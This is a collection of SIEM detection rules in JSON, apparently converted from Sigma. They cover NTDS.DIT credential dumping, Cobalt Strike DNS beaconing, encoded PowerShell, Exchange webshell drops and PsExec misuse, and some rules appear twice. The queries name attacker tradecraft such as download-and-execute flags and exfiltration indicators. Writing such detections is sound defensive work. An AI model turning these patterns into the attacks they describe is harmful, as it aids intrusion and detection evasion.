{"description": "Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool", "author": ["elhoim"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40ade7f2-c49a-4ec3-1525-af7fd18575d5", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Win Susp Computer Name Containing Samtheadmin", "query": "(winlog.channel:\"Security\" AND (((winlog.event_data.SamAccountName:SAMTHEADMIN\\-* AND winlog.event_data.SamAccountName:*$)) OR ((winlog.event_data.TargetUserName:SAMTHEADMIN\\-* AND winlog.event_data.TargetUserName:*$))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40ade7f2-c49a-4ec3-1525-af7fd18575d5", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Win Susp Computer Name Containing Samtheadmin", "query": "((winlog.event_data.SamAccountName:SAMTHEADMIN\\-* AND winlog.event_data.SamAccountName:*$) OR (winlog.event_data.TargetUserName:SAMTHEADMIN\\-* AND winlog.event_data.TargetUserName:*$))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["elhoim"], "license": ""}
{"description": "Detects suspicious connections from Microsoft Sync Center to non-private IPs.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "82e78cf7-139e-6072-78cc-cd43c4725d4a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Microsoft Sync Center Suspicious Network Connections", "query": "(process.executable:*mobsync.exe AND (NOT (destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.*) AND DestinationIsIpv6:\"false\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1055", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["elhoim"], "license": ""}
{"description": "Detects suspicious connections from Microsoft Sync Center to non-private IPs.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "82e78cf7-139e-6072-78cc-cd43c4725d4a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Microsoft Sync Center Suspicious Network Connections", "query": "(process.executable:*\\\\mobsync.exe AND (NOT (destination.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.*) AND DestinationIsIpv6:\"false\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1055", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["elhoim"], "license": ""}
{"description": "Detects suspicious creations of a file named ntds.dit, e.g. by a PowerShell parent or in a suspicious directory or a suspicious one liner", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d0c25fe6-3bda-ff4e-c745-767b9d44f695", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious NTDS.DIT Creation", "query": "(file.path.text:*\\\\ntds.dit AND ((process.parent.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\w3wp.exe OR *\\\\php\\-cgi.exe OR *\\\\nginx.exe OR *\\\\httpd.exe)) OR (process.parent.executable.text:(*\\\\apache* OR *\\\\tomcat* OR *\\\\AppData\\\\* OR *\\\\Temp\\\\* OR *\\\\Public\\\\* OR *\\\\PerfLogs\\\\*)) OR (process.executable.text:(*\\\\AppData\\\\* OR *\\\\Temp\\\\* OR *\\\\Public\\\\* OR *\\\\PerfLogs\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious creations of files with names used in various tools that export the NTDS.DIT for exfiltration", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "42ed1047-98e7-f0be-d1ca-301e2f12d5db", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious NTDS Exfil Filename Patterns", "query": "file.path:(*\\\\All.cab OR *.ntds.cleartext)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious DACL modifications that can be used to hide services or make them unstopable", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "23c31f7d-6cfc-e99d-6e66-a4f00e50aa38", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Service DACL Modification", "query": "(process.executable:*\\\\sc.exe AND process.command_line:*sdset* AND process.command_line:*D;;* AND process.command_line:(*;;;IU* OR *;;;SU* OR *;;;BA* OR *;;;SY* OR *;;;WD*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects suspicious Django web application framework exceptions that could indicate exploitation attempts", "enabled": false, "false_positives": ["Application bugs"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "85280290-8417-79ca-5996-ff86364eb5a1", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Django Framework Exceptions", "query": "(*SuspiciousOperation* OR *DisallowedHost* OR *DisallowedModelAdminLookup* OR *DisallowedModelAdminToField* OR *DisallowedRedirect* OR *InvalidSessionKey* OR *RequestDataTooBig* OR *SuspiciousFileOperation* OR *SuspiciousMultipartForm* OR *SuspiciousSession* OR *TooManyFieldsSent* OR *PermissionDenied*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Thomas Patzke"], "license": ""}
{"description": "Detects suspicious DNS error messages that indicate a fatal or suspicious error that could be caused by exploiting attempts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "5f2359fc-4abc-5b75-c33b-1a9fc2722cae", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Named Error", "query": "(*\\ dropping\\ source\\ port\\ zero\\ packet\\ from\\ * OR *\\ denied\\ AXFR\\ from\\ * OR *\\ exiting\\ \$due\\ to\\ fatal\\ error\$*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious DNS queries known from Cobalt Strike beacons", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8e7fea02-63ea-47d9-aa23-2d71cd29a358", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Cobalt Strike DNS Beaconing", "query": "(dns.question.name:(aaa.stage.* OR post.1*) OR dns.question.name:*.stage.123456.*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious DNS queries known from Cobalt Strike beacons", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8e7fea02-63ea-47d9-aa23-2d71cd29a358", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Cobalt Strike DNS Beaconing", "query": "(dns.question.name:(aaa.stage.* OR post.1*) OR dns.question.name:*.stage.123456.*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind", "enabled": false, "false_positives": ["Legitimate use of Telegram bots in the company"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8d86ef63-8381-e626-26a4-8df9e344f5e9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Telegram Bot API Request", "query": "dns.question.name:\"api.telegram.org\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1102"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind", "enabled": false, "false_positives": ["Legitimate use of Telegram bots in the company"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8d86ef63-8381-e626-26a4-8df9e344f5e9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Telegram Bot API Request", "query": "dns.question.name:\"api.telegram.org\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1102"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "5b2b3a62-f3a0-c80d-4da7-6a4273572aeb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DNS Query to External Service Interaction Domains", "query": "dns.question.name:(*.interact.sh* OR *.oast.pro* OR *.oast.live* OR *.oast.site* OR *.oast.online* OR *.oast.fun* OR *.oast.me* OR *.burpcollaborator.net* OR *.oastify.com* OR *.canarytokens.com* OR *.requestbin.net* OR *.dnslog.cn*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious DNS queries to Monero mining pools", "enabled": false, "false_positives": ["Legitimate crypto coin mining"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "b0a16bba-09a6-2bca-9d88-030e6fb9dbce", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Monero Crypto Coin Mining Pool Lookup", "query": "dns.question.name:(*pool.minexmr.com* OR *fr.minexmr.com* OR *de.minexmr.com* OR *sg.minexmr.com* OR *ca.minexmr.com* OR *us\\-west.minexmr.com* OR *pool.supportxmr.com* OR *mine.c3pool.com* OR *xmr\\-eu1.nanopool.org* OR *xmr\\-eu2.nanopool.org* OR *xmr\\-us\\-east1.nanopool.org* OR *xmr\\-us\\-west1.nanopool.org* OR *xmr\\-asia1.nanopool.org* OR *xmr\\-jp1.nanopool.org* OR *xmr\\-au1.nanopool.org* OR *xmr.2miners.com* OR *xmr.hashcity.org* OR *xmr.f2pool.com* OR *xmrpool.eu* OR *pool.hashvault.pro*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1496", "T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1496", "name": "Resource Hijacking", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious DNS queries using base64 encoding", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "71b8902b-e8ae-2c3b-0412-3eb50bebe899", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious DNS Query with B64 Encoded String", "query": "dns.question.name:*\\=\\=.*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048", "T1071"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious DNS queries using base64 encoding", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "71b8902b-e8ae-2c3b-0412-3eb50bebe899", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious DNS Query with B64 Encoded String", "query": "dns.question.name:*\\=\\=.*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048", "T1071"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious empty user agent strings in proxy logs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "66274761-2715-21c5-bf9b-a8dc7c2b43f4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Empty User Agent", "query": "user_agent.original:\"\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious encoded character syntax often used for defense evasion", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f62f4cca-2eaf-b979-5520-2a6a2a3f1e4b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential PowerShell Obfuscation Via WCHAR", "query": "process.command_line.text:*\$WCHAR\$0x*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious encoded character syntax often used for defense evasion", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "113de366-3e7c-aeed-ae76-9e871d04b88b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PowerShell Encoded Character Syntax", "query": "process.command_line:*\$WCHAR\$0x*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious encoded payloads in WMI Event Consumers", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c790854a-c179-1e9a-4f65-f88fb0af3b94", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Encoded Scripts in a WMI Consumer", "query": "Destination:(*V3JpdGVQcm9jZXNzTWVtb3J5* OR *dyaXRlUHJvY2Vzc01lbW9ye* OR *Xcml0ZVByb2Nlc3NNZW1vcn* OR *VGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZG* OR *RoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2Rl* OR *UaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZ* OR *VGhpcyBwcm9ncmFtIG11c3QgYmUgcnVuIHVuZGVyIFdpbjMy* OR *RoaXMgcHJvZ3JhbSBtdXN0IGJlIHJ1biB1bmRlciBXaW4zM* OR *UaGlzIHByb2dyYW0gbXVzdCBiZSBydW4gdW5kZXIgV2luMz*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious execution of \"PDQDeployRunner\" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines", "enabled": false, "false_positives": ["Legitimate use of the PDQDeploy tool to execute these commands"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "7ca18dcc-6857-f953-7138-77e2a9c8f64e", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Execution Of PDQDeployRunner", "query": "(process.parent.executable:*PDQDeployRunner\\-* AND (process.executable:(*\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\rundll32.exe OR *\\\\regsvr32.exe OR *\\\\wmic.exe OR *\\\\msiexec.exe OR *\\\\mshta.exe OR *\\\\csc.exe OR *\\\\dllhost.exe OR *\\\\certutil.exe OR *\\\\scriptrunner.exe OR *\\\\bash.exe OR *\\\\wsl.exe) OR process.executable:(*C\\:\\\\Users\\\\Public\\\\* OR *C\\:\\\\ProgramData\\\\* OR *C\\:\\\\Windows\\\\TEMP\\\\* OR *\\\\AppData\\\\Local\\\\Temp*) OR process.command_line:(*iex\\ * OR *Invoke\\-* OR *DownloadString* OR *http* OR *\\ \\-enc\\ * OR *\\ \\-encodedcommand\\ * OR *FromBase64String* OR *\\ \\-decode\\ * OR *\\ \\-w\\ hidden*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects suspicious file creation patterns found in logs when CrackMapExec is used", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d194734d-ce89-993e-8ca7-96f6d8beb01a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CrackMapExec File Creation Patterns", "query": "((file.path:C\\:\\\\Windows\\\\Temp\\\\* AND process.executable:\"C\\:\\\\WINDOWS\\\\system32\\\\rundll32.exe\" AND user.name:(*NT\\ AUTHORI* OR *NT\\ AUTORI*) AND file.path:(*.rtf OR *.otf OR *.odt OR *.txt OR *.doc OR *.pdf OR *.dll OR *.docx OR *.wpd OR *.icns OR *.db OR *.ini OR *.tex OR *.sys OR *.csv OR *.fon OR *.tar OR *.ttf OR *.xml OR *.cfg OR *.cpl OR *.jpg OR *.drv OR *.cur OR *.tmp)) OR (file.path:\"C\\:\\\\Windows\\\\Temp\\\\procdump.exe\" AND user.name:(*NT\\ AUTHO* OR *NT\\ AUTO*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious file execution by wscript and cscript", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "979a323c-25df-f7e9-cb61-61951f790918", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "WMIExec VBS Script", "query": "(process.executable:*\\\\cscript.exe AND process.command_line:*.vbs* AND process.command_line:*\\/shell*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious file execution by wscript and cscript", "enabled": false, "false_positives": ["Will need to be tuned. I recommend adding the user profile path in CommandLine if it is getting too noisy."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f6fad7bc-8031-344b-568d-468b6d12fed9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WSF/JSE/JS/VBA/VBE File Execution", "query": "(process.executable:(*\\\\wscript.exe OR *\\\\cscript.exe) AND process.command_line:(*.jse* OR *.vbe* OR *.js* OR *.vba*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Michael Haag"], "license": ""}
{"description": "Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "35ae2bea-7dd8-fe7b-64d0-cffff23085ee", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious ASPX File Drop by Exchange", "query": "(process.executable.text:*\\\\w3wp.exe AND process.command_line.text:*MSExchange* AND file.path.text:(*FrontEnd\\\\HttpProxy\\\\* OR *\\\\inetpub\\\\wwwroot\\\\aspnet_client\\\\*) AND file.path.text:(*.aspx OR *.asp OR *.ashx))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "MSTI (query", "idea)"], "license": ""}
{"description": "Detects suspicious file type dropped by an Exchange component in IIS", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6de99a34-530e-ab58-5df3-7c4ceced151a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious File Drop by Exchange", "query": "(process.executable.text:*\\\\w3wp.exe AND process.command_line.text:*MSExchange* AND file.path.text:(*.aspx OR *.asp OR *.ashx OR *.ps1 OR *.bat OR *.exe OR *.dll OR *.vbs))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190", "T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious flags used by PsExec and PAExec but no usual program name in command line", "enabled": false, "false_positives": ["Weird admins that rename their tools", "Software companies that bundle PsExec/PAExec with their software and rename it, so that it is less embarrassing"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "44464f38-cc8a-f0b4-01ef-17fd19e7c39c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PsExec/PAExec Flags", "query": "((process.command_line.text:(*\\ \\-s\\ cmd.exe OR *\\ \\-s\\ \\-i\\ cmd.exe) OR (process.command_line.text:*accepteula* AND process.command_line.text:*\\ \\-u\\ * AND process.command_line.text:*\\ \\-p\\ * AND process.command_line.text:*\\ \\\\\\*)) AND (NOT (process.command_line.text:(*paexec* OR *PsExec*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Resource Development", "T1587"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1587", "name": "Develop Capabilities", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
